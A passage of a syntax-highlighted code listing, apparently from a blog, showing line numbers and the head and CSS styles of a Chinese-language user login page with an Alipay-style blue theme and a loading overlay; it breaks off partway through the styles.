&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 40
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 41
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 42
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 43
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 44
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 45
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 46
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 47
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 48
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 49
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 50
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 51
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 52
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 53
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 54
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 55
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 56
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 57
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 58
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 59
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 60
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 61
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 62
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 63
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 64
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 65
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 66
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 67
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 68
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 69
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 70
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 71
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 72
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 73
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 74
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 75
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 76
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 77
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 78
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 79
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 80
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 81
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 82
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 83
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 84
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 85
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 86
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 87
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 88
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 89
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 90
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 91
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 92
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 93
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 94
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 95
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 96
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 97
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 98
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 99
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;100
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;101
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;102
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;103
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;104
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;105
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;106
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;107
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;108
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;109
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;110
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;111
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;112
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;113
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;114
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;115
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;116
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;117
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;118
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;119
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;120
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;121
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;122
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;123
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;124
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;125
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;126
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;127
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;128
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;129
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;130
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;131
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;132
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;133
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;134
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;135
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;136
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;137
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;138
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;139
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;140
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;141
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;142
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;143
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;144
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;145
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;146
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;147
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;148
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;149
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;150
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;151
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;152
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;153
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;154
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;155
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;156
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;157
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;158
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;159
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;160
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;161
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;162
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;163
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;164
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;165
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;166
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;167
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;168
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;169
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;170
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;171
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;172
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;173
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;174
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;175
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;176
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;177
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;178
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;179
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;180
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;181
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;182
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;183
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;184
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;185
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;186
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;187
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;188
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;189
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;190
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;191
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;192
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;193
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;194
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;195
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;196
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;197
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;198
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;199
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;200
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;201
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;202
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;203
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;204
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;205
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;206
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;207
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;208
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;209
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;210
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;211
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;lang&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;zh-CN&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;head&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;meta&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;charset&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;meta&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;content&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;title&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;用户登录&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;title&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;style&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c&#34;&gt;/* 原有登录页面样式 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;font-family&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Helvetica Neue&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Helvetica&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Arial&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;sans-serif&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;background-color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#f2f2f2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;display&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;flex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;justify-content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;center&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;align-items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;center&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;height&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;vh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;margin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;relative&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;/* 为加载层定位做准备 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;login-container&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;background-color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;white&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;padding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;border-radius&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;box-shadow&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rgba&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;0.1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;width&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;350&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;text-align&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;center&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;relative&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;z-index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;/* 确保登录框在加载层下方 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;logo-area&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;margin-bottom&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#1677ff&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;/* 支付宝蓝风格 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;font-size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;font-weight&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;bold&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;input-group&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;margin-bottom&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;text-align&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;left&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;input-group&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;label&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;display&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;block&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;margin-bottom&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;color&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;#666&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
